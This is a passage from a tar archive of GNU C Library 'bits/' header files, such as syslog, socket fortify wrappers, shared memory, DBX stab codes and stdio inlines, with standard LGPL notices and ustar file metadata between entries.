IPV6_RXHOPOPTS IPV6_HOPOPTS #define IPV6_RXDSTOPTS IPV6_DSTOPTS /* IPV6_MTU_DISCOVER values. */ #define IPV6_PMTUDISC_DONT 0 /* Never send DF frames. */ #define IPV6_PMTUDISC_WANT 1 /* Use per route hints. */ #define IPV6_PMTUDISC_DO 2 /* Always DF. */ #define IPV6_PMTUDISC_PROBE 3 /* Ignore dst pmtu. */ #define IPV6_PMTUDISC_INTERFACE 4 /* See IP_PMTUDISC_INTERFACE. */ #define IPV6_PMTUDISC_OMIT 5 /* See IP_PMTUDISC_OMIT. */ /* Socket level values for IPv6. */ #define SOL_IPV6 41 #define SOL_ICMPV6 58 /* Routing header options for IPv6. */ #define IPV6_RTHDR_LOOSE 0 /* Hop doesn't need to be neighbour. */ #define IPV6_RTHDR_STRICT 1 /* Hop must be a neighbour. */ #define IPV6_RTHDR_TYPE_0 0 /* IPv6 Routing header type 0. */ bits/syslog.h 0000644 00000003224 15246445046 0007211 0 ustar 00 /* Checking macros for syslog functions. Copyright (C) 2005-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_SYSLOG_H # error "Never include <bits/syslog.h> directly; use <sys/syslog.h> instead." #endif extern void __syslog_chk (int __pri, int __flag, const char *__fmt, ...) __attribute__ ((__format__ (__printf__, 3, 4))); #ifdef __va_arg_pack __fortify_function void syslog (int __pri, const char *__fmt, ...) { __syslog_chk (__pri, __USE_FORTIFY_LEVEL - 1, __fmt, __va_arg_pack ()); } #elif !defined __cplusplus # define syslog(pri, ...) \ __syslog_chk (pri, __USE_FORTIFY_LEVEL - 1, __VA_ARGS__) #endif #ifdef __USE_MISC extern void __vsyslog_chk (int __pri, int __flag, const char *__fmt, __gnuc_va_list __ap) __attribute__ ((__format__ (__printf__, 3, 0))); __fortify_function void vsyslog (int __pri, const char *__fmt, __gnuc_va_list __ap) { __vsyslog_chk (__pri, __USE_FORTIFY_LEVEL - 1, __fmt, __ap); } #endif bits/socket2.h 0000644 00000005734 15246445046 0007253 0 ustar 00 /* Checking macros for socket functions. Copyright (C) 2005-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_SOCKET_H # error "Never include <bits/socket2.h> directly; use <sys/socket.h> instead." #endif extern ssize_t __recv_chk (int __fd, void *__buf, size_t __n, size_t __buflen, int __flags); extern ssize_t __REDIRECT (__recv_alias, (int __fd, void *__buf, size_t __n, int __flags), recv); extern ssize_t __REDIRECT (__recv_chk_warn, (int __fd, void *__buf, size_t __n, size_t __buflen, int __flags), __recv_chk) __warnattr ("recv called with bigger length than size of destination " "buffer"); __fortify_function ssize_t recv (int __fd, void *__buf, size_t __n, int __flags) { size_t sz = __glibc_objsize0 (__buf); if (__glibc_safe_or_unknown_len (__n, sizeof (char), sz)) return __recv_alias (__fd, __buf, __n, __flags); if (__glibc_unsafe_len (__n, sizeof (char), sz)) return __recv_chk_warn (__fd, __buf, __n, sz, __flags); return __recv_chk (__fd, __buf, __n, sz, __flags); } extern ssize_t __recvfrom_chk (int __fd, void *__restrict __buf, size_t __n, size_t __buflen, int __flags, __SOCKADDR_ARG __addr, socklen_t *__restrict __addr_len); extern ssize_t __REDIRECT (__recvfrom_alias, (int __fd, void *__restrict __buf, size_t __n, int __flags, __SOCKADDR_ARG __addr, socklen_t *__restrict __addr_len), recvfrom); extern ssize_t __REDIRECT (__recvfrom_chk_warn, (int __fd, void *__restrict __buf, size_t __n, size_t __buflen, int __flags, __SOCKADDR_ARG __addr, socklen_t *__restrict __addr_len), __recvfrom_chk) __warnattr ("recvfrom called with bigger length than size of " "destination buffer"); __fortify_function ssize_t recvfrom (int __fd, void *__restrict __buf, size_t __n, int __flags, __SOCKADDR_ARG __addr, socklen_t *__restrict __addr_len) { size_t sz = __glibc_objsize0 (__buf); if (__glibc_safe_or_unknown_len (__n, sizeof (char), sz)) return __recvfrom_alias (__fd, __buf, __n, __flags, __addr, __addr_len); if (__glibc_unsafe_len (__n, sizeof (char), sz)) return __recvfrom_chk_warn (__fd, __buf, __n, sz, __flags, __addr, __addr_len); return __recvfrom_chk (__fd, __buf, __n, sz, __flags, __addr, __addr_len); } bits/sigstack.h 0000644 00000002217 15246445046 0007502 0 ustar 00 /* sigstack, sigaltstack definitions. Copyright (C) 1998-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_SIGSTACK_H #define _BITS_SIGSTACK_H 1 #if !defined _SIGNAL_H && !defined _SYS_UCONTEXT_H # error "Never include this file directly. Use <signal.h> instead" #endif /* Minimum stack size for a signal handler. */ #define MINSIGSTKSZ 2048 /* System default stack size. */ #define SIGSTKSZ 8192 #endif /* bits/sigstack.h */ bits/stdlib-ldbl.h 0000644 00000002534 15246445046 0010070 0 ustar 00 /* -mlong-double-64 compatibility mode for <stdlib.h> functions. Copyright (C) 2006-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _STDLIB_H # error "Never include <bits/stdlib-ldbl.h> directly; use <stdlib.h> instead." #endif #ifdef __USE_ISOC99 __LDBL_REDIR1_DECL (strtold, strtod) #endif #ifdef __USE_GNU __LDBL_REDIR1_DECL (strtold_l, strtod_l) #endif #if __GLIBC_USE (IEC_60559_BFP_EXT) __LDBL_REDIR1_DECL (strfroml, strfromd) #endif #ifdef __USE_MISC __LDBL_REDIR1_DECL (qecvt, ecvt) __LDBL_REDIR1_DECL (qfcvt, fcvt) __LDBL_REDIR1_DECL (qgcvt, gcvt) __LDBL_REDIR1_DECL (qecvt_r, ecvt_r) __LDBL_REDIR1_DECL (qfcvt_r, fcvt_r) #endif bits/semaphore.h 0000644 00000002325 15246445046 0007655 0 ustar 00 /* Copyright (C) 2002-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. Contributed by Ulrich Drepper <drepper@redhat.com>, 2002. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SEMAPHORE_H # error "Never use <bits/semaphore.h> directly; include <semaphore.h> instead." #endif #include <bits/wordsize.h> #if __WORDSIZE == 64 # define __SIZEOF_SEM_T 32 #else # define __SIZEOF_SEM_T 16 #endif /* Value returned if `sem_open' failed. */ #define SEM_FAILED ((sem_t *) 0) typedef union { char __size[__SIZEOF_SEM_T]; long int __align; } sem_t; bits/hwcap.h 0000644 00000001713 15246445046 0006774 0 ustar 00 /* Defines for bits in AT_HWCAP. Copyright (C) 2012-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_AUXV_H # error "Never include <bits/hwcap.h> directly; use <sys/auxv.h> instead." #endif /* No bits defined for this architecture. */ bits/shm.h 0000644 00000007007 15246445046 0006463 0 ustar 00 /* Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_SHM_H # error "Never include <bits/shm.h> directly; use <sys/shm.h> instead." #endif #include <bits/types.h> /* Permission flag for shmget. */ #define SHM_R 0400 /* or S_IRUGO from <linux/stat.h> */ #define SHM_W 0200 /* or S_IWUGO from <linux/stat.h> */ /* Flags for `shmat'. */ #define SHM_RDONLY 010000 /* attach read-only else read-write */ #define SHM_RND 020000 /* round attach address to SHMLBA */ #define SHM_REMAP 040000 /* take-over region on attach */ #define SHM_EXEC 0100000 /* execution access */ /* Commands for `shmctl'. */ #define SHM_LOCK 11 /* lock segment (root only) */ #define SHM_UNLOCK 12 /* unlock segment (root only) */ __BEGIN_DECLS /* Segment low boundary address multiple. */ #define SHMLBA (__getpagesize ()) extern int __getpagesize (void) __THROW __attribute__ ((__const__)); /* Type to count number of attaches. */ typedef __syscall_ulong_t shmatt_t; /* Data structure describing a shared memory segment. */ struct shmid_ds { struct ipc_perm shm_perm; /* operation permission struct */ size_t shm_segsz; /* size of segment in bytes */ __time_t shm_atime; /* time of last shmat() */ #ifndef __x86_64__ unsigned long int __glibc_reserved1; #endif __time_t shm_dtime; /* time of last shmdt() */ #ifndef __x86_64__ unsigned long int __glibc_reserved2; #endif __time_t shm_ctime; /* time of last change by shmctl() */ #ifndef __x86_64__ unsigned long int __glibc_reserved3; #endif __pid_t shm_cpid; /* pid of creator */ __pid_t shm_lpid; /* pid of last shmop */ shmatt_t shm_nattch; /* number of current attaches */ __syscall_ulong_t __glibc_reserved4; __syscall_ulong_t __glibc_reserved5; }; #ifdef __USE_MISC /* ipcs ctl commands */ # define SHM_STAT 13 # define SHM_INFO 14 # define SHM_STAT_ANY 15 /* shm_mode upper byte flags */ # define SHM_DEST 01000 /* segment will be destroyed on last detach */ # define SHM_LOCKED 02000 /* segment will not be swapped */ # define SHM_HUGETLB 04000 /* segment is mapped via hugetlb */ # define SHM_NORESERVE 010000 /* don't check for reservations */ struct shminfo { __syscall_ulong_t shmmax; __syscall_ulong_t shmmin; __syscall_ulong_t shmmni; __syscall_ulong_t shmseg; __syscall_ulong_t shmall; __syscall_ulong_t __glibc_reserved1; __syscall_ulong_t __glibc_reserved2; __syscall_ulong_t __glibc_reserved3; __syscall_ulong_t __glibc_reserved4; }; struct shm_info { int used_ids; __syscall_ulong_t shm_tot; /* total allocated shm */ __syscall_ulong_t shm_rss; /* total resident shm */ __syscall_ulong_t shm_swp; /* total swapped shm */ __syscall_ulong_t swap_attempts; __syscall_ulong_t swap_successes; }; #endif /* __USE_MISC */ __END_DECLS bits/syslog-ldbl.h 0000644 00000002265 15246445046 0010130 0 ustar 00 /* -mlong-double-64 compatibility mode for syslog functions. Copyright (C) 2006-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_SYSLOG_H # error "Never include <bits/syslog-ldbl.h> directly; use <sys/syslog.h> instead." #endif __LDBL_REDIR_DECL (syslog) #ifdef __USE_MISC __LDBL_REDIR_DECL (vsyslog) #endif #if __USE_FORTIFY_LEVEL > 0 && defined __fortify_function __LDBL_REDIR_DECL (__syslog_chk) # ifdef __USE_MISC __LDBL_REDIR_DECL (__vsyslog_chk) # endif #endif bits/iscanonical.h 0000644 00000004656 15246445046 0010166 0 ustar 00 /* Define iscanonical macro. ldbl-96 version. Copyright (C) 2016-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _MATH_H # error "Never use <bits/iscanonical.h> directly; include <math.h> instead." #endif extern int __iscanonicall (long double __x) __THROW __attribute__ ((__const__)); #define __iscanonicalf(x) ((void) (__typeof (x)) (x), 1) #define __iscanonical(x) ((void) (__typeof (x)) (x), 1) #if __HAVE_DISTINCT_FLOAT128 # define __iscanonicalf128(x) ((void) (__typeof (x)) (x), 1) #endif /* Return nonzero value if X is canonical. In IEEE interchange binary formats, all values are canonical, but the argument must still be converted to its semantic type for any exceptions arising from the conversion, before being discarded; in extended precision, there are encodings that are not consistently handled as corresponding to any particular value of the type, and we return 0 for those. */ #ifndef __cplusplus # define iscanonical(x) __MATH_TG ((x), __iscanonical, (x)) #else /* In C++ mode, __MATH_TG cannot be used, because it relies on __builtin_types_compatible_p, which is a C-only builtin. On the other hand, overloading provides the means to distinguish between the floating-point types. The overloading resolution will match the correct parameter (regardless of type qualifiers (i.e.: const and volatile)). */ extern "C++" { inline int iscanonical (float __val) { return __iscanonicalf (__val); } inline int iscanonical (double __val) { return __iscanonical (__val); } inline int iscanonical (long double __val) { return __iscanonicall (__val); } # if __HAVE_DISTINCT_FLOAT128 inline int iscanonical (_Float128 __val) { return __iscanonicalf128 (__val); } # endif } #endif /* __cplusplus */ bits/stab.def 0000644 00000021517 15246445046 0007136 0 ustar 00 /* Table of DBX symbol codes for the GNU system. Copyright (C) 1988, 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* This contains contribution from Cygnus Support. */ /* Global variable. Only the name is significant. To find the address, look in the corresponding external symbol. */ __define_stab (N_GSYM, 0x20, "GSYM") /* Function name for BSD Fortran. Only the name is significant. To find the address, look in the corresponding external symbol. */ __define_stab (N_FNAME, 0x22, "FNAME") /* Function name or text-segment variable for C. Value is its address. Desc is supposedly starting line number, but GCC doesn't set it and DBX seems not to miss it. */ __define_stab (N_FUN, 0x24, "FUN") /* Data-segment variable with internal linkage. Value is its address. "Static Sym". */ __define_stab (N_STSYM, 0x26, "STSYM") /* BSS-segment variable with internal linkage. Value is its address. */ __define_stab (N_LCSYM, 0x28, "LCSYM") /* Name of main routine. Only the name is significant. This is not used in C. */ __define_stab (N_MAIN, 0x2a, "MAIN") /* Global symbol in Pascal. Supposedly the value is its line number; I'm skeptical. */ __define_stab (N_PC, 0x30, "PC") /* Number of symbols: 0, files,,funcs,lines according to Ultrix V4.0. */ __define_stab (N_NSYMS, 0x32, "NSYMS") /* "No DST map for sym: name, ,0,type,ignored" according to Ultrix V4.0. */ __define_stab (N_NOMAP, 0x34, "NOMAP") /* New stab from Solaris. I don't know what it means, but it don't seem to contain useful information. */ __define_stab (N_OBJ, 0x38, "OBJ") /* New stab from Solaris. I don't know what it means, but it don't seem to contain useful information. Possibly related to the optimization flags used in this module. */ __define_stab (N_OPT, 0x3c, "OPT") /* Register variable. Value is number of register. */ __define_stab (N_RSYM, 0x40, "RSYM") /* Modula-2 compilation unit. Can someone say what info it contains? */ __define_stab (N_M2C, 0x42, "M2C") /* Line number in text segment. Desc is the line number; value is corresponding address. */ __define_stab (N_SLINE, 0x44, "SLINE") /* Similar, for data segment. */ __define_stab (N_DSLINE, 0x46, "DSLINE") /* Similar, for bss segment. */ __define_stab (N_BSLINE, 0x48, "BSLINE") /* Sun's source-code browser stabs. ?? Don't know what the fields are. Supposedly the field is "path to associated .cb file". THIS VALUE OVERLAPS WITH N_BSLINE! */ __define_stab (N_BROWS, 0x48, "BROWS") /* GNU Modula-2 definition module dependency. Value is the modification time of the definition file. Other is non-zero if it is imported with the GNU M2 keyword %INITIALIZE. Perhaps N_M2C can be used if there are enough empty fields? */ __define_stab(N_DEFD, 0x4a, "DEFD") /* THE FOLLOWING TWO STAB VALUES CONFLICT. Happily, one is for Modula-2 and one is for C++. Still,... */ /* GNU C++ exception variable. Name is variable name. */ __define_stab (N_EHDECL, 0x50, "EHDECL") /* Modula2 info "for imc": name,,0,0,0 according to Ultrix V4.0. */ __define_stab (N_MOD2, 0x50, "MOD2") /* GNU C++ `catch' clause. Value is its address. Desc is nonzero if this entry is immediately followed by a CAUGHT stab saying what exception was caught. Multiple CAUGHT stabs means that multiple exceptions can be caught here. If Desc is 0, it means all exceptions are caught here. */ __define_stab (N_CATCH, 0x54, "CATCH") /* Structure or union element. Value is offset in the structure. */ __define_stab (N_SSYM, 0x60, "SSYM") /* Name of main source file. Value is starting text address of the compilation. */ __define_stab (N_SO, 0x64, "SO") /* Automatic variable in the stack. Value is offset from frame pointer. Also used for type descriptions. */ __define_stab (N_LSYM, 0x80, "LSYM") /* Beginning of an include file. Only Sun uses this. In an object file, only the name is significant. The Sun linker puts data into some of the other fields. */ __define_stab (N_BINCL, 0x82, "BINCL") /* Name of sub-source file (#include file). Value is starting text address of the compilation. */ __define_stab (N_SOL, 0x84, "SOL") /* Parameter variable. Value is offset from argument pointer. (On most machines the argument pointer is the same as the frame pointer. */ __define_stab (N_PSYM, 0xa0, "PSYM") /* End of an include file. No name. This and N_BINCL act as brackets around the file's output. In an object file, there is no significant data in this entry. The Sun linker puts data into some of the fields. */ __define_stab (N_EINCL, 0xa2, "EINCL") /* Alternate entry point. Value is its address. */ __define_stab (N_ENTRY, 0xa4, "ENTRY") /* Beginning of lexical block. The desc is the nesting level in lexical blocks. The value is the address of the start of the text for the block. The variables declared inside the block *precede* the N_LBRAC symbol. */ __define_stab (N_LBRAC, 0xc0, "LBRAC") /* Place holder for deleted include file. Replaces a N_BINCL and everything up to the corresponding N_EINCL. The Sun linker generates these when it finds multiple identical copies of the symbols from an include file. This appears only in output from the Sun linker. */ __define_stab (N_EXCL, 0xc2, "EXCL") /* Modula-2 scope information. Can someone say what info it contains? */ __define_stab (N_SCOPE, 0xc4, "SCOPE") /* End of a lexical block. Desc matches the N_LBRAC's desc. The value is the address of the end of the text for the block. */ __define_stab (N_RBRAC, 0xe0, "RBRAC") /* Begin named common block. Only the name is significant. */ __define_stab (N_BCOMM, 0xe2, "BCOMM") /* End named common block. Only the name is significant (and it should match the N_BCOMM). */ __define_stab (N_ECOMM, 0xe4, "ECOMM") /* End common (local name): value is address. I'm not sure how this is used. */ __define_stab (N_ECOML, 0xe8, "ECOML") /* These STAB's are used on Gould systems for Non-Base register symbols or something like that. FIXME. I have assigned the values at random since I don't have a Gould here. Fixups from Gould folk welcome... */ __define_stab (N_NBTEXT, 0xF0, "NBTEXT") __define_stab (N_NBDATA, 0xF2, "NBDATA") __define_stab (N_NBBSS, 0xF4, "NBBSS") __define_stab (N_NBSTS, 0xF6, "NBSTS") __define_stab (N_NBLCS, 0xF8, "NBLCS") /* Second symbol entry containing a length-value for the preceding entry. The value is the length. */ __define_stab (N_LENG, 0xfe, "LENG") /* The above information, in matrix format. STAB MATRIX _________________________________________________ | 00 - 1F are not dbx stab symbols | | In most cases, the low bit is the EXTernal bit| | 00 UNDEF | 02 ABS | 04 TEXT | 06 DATA | | 01 |EXT | 03 |EXT | 05 |EXT | 07 |EXT | | 08 BSS | 0A INDR | 0C FN_SEQ | 0E | | 09 |EXT | 0B | 0D | 0F | | 10 | 12 COMM | 14 SETA | 16 SETT | | 11 | 13 | 15 | 17 | | 18 SETD | 1A SETB | 1C SETV | 1E WARNING| | 19 | 1B | 1D | 1F FN | |_______________________________________________| | Debug entries with bit 01 set are unused. | | 20 GSYM | 22 FNAME | 24 FUN | 26 STSYM | | 28 LCSYM | 2A MAIN | 2C | 2E | | 30 PC | 32 NSYMS | 34 NOMAP | 36 | | 38 OBJ | 3A | 3C OPT | 3E | | 40 RSYM | 42 M2C | 44 SLINE | 46 DSLINE | | 48 BSLINE*| 4A DEFD | 4C | 4E | | 50 EHDECL*| 52 | 54 CATCH | 56 | | 58 | 5A | 5C | 5E | | 60 SSYM | 62 | 64 SO | 66 | | 68 | 6A | 6C | 6E | | 70 | 72 | 74 | 76 | | 78 | 7A | 7C | 7E | | 80 LSYM | 82 BINCL | 84 SOL | 86 | | 88 | 8A | 8C | 8E | | 90 | 92 | 94 | 96 | | 98 | 9A | 9C | 9E | | A0 PSYM | A2 EINCL | A4 ENTRY | A6 | | A8 | AA | AC | AE | | B0 | B2 | B4 | B6 | | B8 | BA | BC | BE | | C0 LBRAC | C2 EXCL | C4 SCOPE | C6 | | C8 | CA | CC | CE | | D0 | D2 | D4 | D6 | | D8 | DA | DC | DE | | E0 RBRAC | E2 BCOMM | E4 ECOMM | E6 | | E8 ECOML | EA | EC | EE | | F0 | F2 | F4 | F6 | | F8 | FA | FC | FE LENG | +-----------------------------------------------+ * 50 EHDECL is also MOD2. * 48 BSLINE is also BROWS. */ bits/fp-fast.h 0000644 00000002277 15246445046 0007240 0 ustar 00 /* Define FP_FAST_* macros. Copyright (C) 2016-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _MATH_H # error "Never use <bits/fp-fast.h> directly; include <math.h> instead." #endif #ifdef __USE_ISOC99 /* The GCC 4.6 compiler will define __FP_FAST_FMA{,F,L} if the fma{,f,l} builtins are supported. */ # ifdef __FP_FAST_FMA # define FP_FAST_FMA 1 # endif # ifdef __FP_FAST_FMAF # define FP_FAST_FMAF 1 # endif # ifdef __FP_FAST_FMAL # define FP_FAST_FMAL 1 # endif #endif bits/mman-shared.h 0000644 00000005260 15246445046 0010067 0 ustar 00 /* Memory-mapping-related declarations/definitions, not architecture-specific. Copyright (C) 2017-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_MMAN_H # error "Never use <bits/mman-shared.h> directly; include <sys/mman.h> instead." #endif #ifdef __USE_GNU /* Flags for memfd_create. */ # ifndef MFD_CLOEXEC # define MFD_CLOEXEC 1U # define MFD_ALLOW_SEALING 2U # define MFD_HUGETLB 4U # endif /* Flags for mlock2. */ # ifndef MLOCK_ONFAULT # define MLOCK_ONFAULT 1U # endif /* Access rights for pkey_alloc. */ # ifndef PKEY_DISABLE_ACCESS # define PKEY_DISABLE_ACCESS 0x1 # define PKEY_DISABLE_WRITE 0x2 # endif __BEGIN_DECLS /* Create a new memory file descriptor. NAME is a name for debugging. FLAGS is a combination of the MFD_* constants. */ int memfd_create (const char *__name, unsigned int __flags) __THROW; /* Lock pages from ADDR (inclusive) to ADDR + LENGTH (exclusive) into memory. FLAGS is a combination of the MLOCK_* flags above. */ int mlock2 (const void *__addr, size_t __length, unsigned int __flags) __THROW; /* Allocate a new protection key, with the PKEY_DISABLE_* bits specified in ACCESS_RIGHTS. The protection key mask for the current thread is updated to match the access privilege for the new key. */ int pkey_alloc (unsigned int __flags, unsigned int __access_rights) __THROW; /* Update the access rights for the current thread for KEY, which must have been allocated using pkey_alloc. */ int pkey_set (int __key, unsigned int __access_rights) __THROW; /* Return the access rights for the current thread for KEY, which must have been allocated using pkey_alloc. */ int pkey_get (int __key) __THROW; /* Free an allocated protection key, which must have been allocated using pkey_alloc. */ int pkey_free (int __key) __THROW; /* Apply memory protection flags for KEY to the specified address range. */ int pkey_mprotect (void *__addr, size_t __len, int __prot, int __pkey) __THROW; __END_DECLS #endif /* __USE_GNU */ bits/stdio.h 0000644 00000012722 15246445046 0007016 0 ustar 00 /* Optimizing macros and inline functions for stdio functions. Copyright (C) 1998-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_STDIO_H #define _BITS_STDIO_H 1 #ifndef _STDIO_H # error "Never include <bits/stdio.h> directly; use <stdio.h> instead." #endif #ifndef __extern_inline # define __STDIO_INLINE inline #else # define __STDIO_INLINE __extern_inline #endif #ifdef __USE_EXTERN_INLINES /* For -D_FORTIFY_SOURCE{,=2,=3} bits/stdio2.h will define a different inline. */ # if !(__USE_FORTIFY_LEVEL > 0 && defined __fortify_function) /* Write formatted output to stdout from argument list ARG. */ __STDIO_INLINE int vprintf (const char *__restrict __fmt, __gnuc_va_list __arg) { return vfprintf (stdout, __fmt, __arg); } # endif /* Read a character from stdin. */ __STDIO_INLINE int getchar (void) { return getc (stdin); } # ifdef __USE_MISC /* Faster version when locking is not necessary. */ __STDIO_INLINE int fgetc_unlocked (FILE *__fp) { return __getc_unlocked_body (__fp); } # endif /* misc */ # ifdef __USE_POSIX /* This is defined in POSIX.1:1996. */ __STDIO_INLINE int getc_unlocked (FILE *__fp) { return __getc_unlocked_body (__fp); } /* This is defined in POSIX.1:1996. */ __STDIO_INLINE int getchar_unlocked (void) { return __getc_unlocked_body (stdin); } # endif /* POSIX */ /* Write a character to stdout. */ __STDIO_INLINE int putchar (int __c) { return putc (__c, stdout); } # ifdef __USE_MISC /* Faster version when locking is not necessary. */ __STDIO_INLINE int fputc_unlocked (int __c, FILE *__stream) { return __putc_unlocked_body (__c, __stream); } # endif /* misc */ # ifdef __USE_POSIX /* This is defined in POSIX.1:1996. */ __STDIO_INLINE int putc_unlocked (int __c, FILE *__stream) { return __putc_unlocked_body (__c, __stream); } /* This is defined in POSIX.1:1996. */ __STDIO_INLINE int putchar_unlocked (int __c) { return __putc_unlocked_body (__c, stdout); } # endif /* POSIX */ # ifdef __USE_GNU /* Like `getdelim', but reads up to a newline. */ __STDIO_INLINE __ssize_t getline (char **__lineptr, size_t *__n, FILE *__stream) { return __getdelim (__lineptr, __n, '\n', __stream); } # endif /* GNU */ # ifdef __USE_MISC /* Faster versions when locking is not required. */ __STDIO_INLINE int __NTH (feof_unlocked (FILE *__stream)) { return __feof_unlocked_body (__stream); } /* Faster versions when locking is not required. */ __STDIO_INLINE int __NTH (ferror_unlocked (FILE *__stream)) { return __ferror_unlocked_body (__stream); } # endif /* misc */ #endif /* Use extern inlines. */ #if defined __USE_MISC && defined __GNUC__ && defined __OPTIMIZE__ \ && !defined __cplusplus /* Perform some simple optimizations. */ # define fread_unlocked(ptr, size, n, stream) \ (__extension__ ((__builtin_constant_p (size) && __builtin_constant_p (n) \ && (size_t) (size) * (size_t) (n) <= 8 \ && (size_t) (size) != 0) \ ? ({ char *__ptr = (char *) 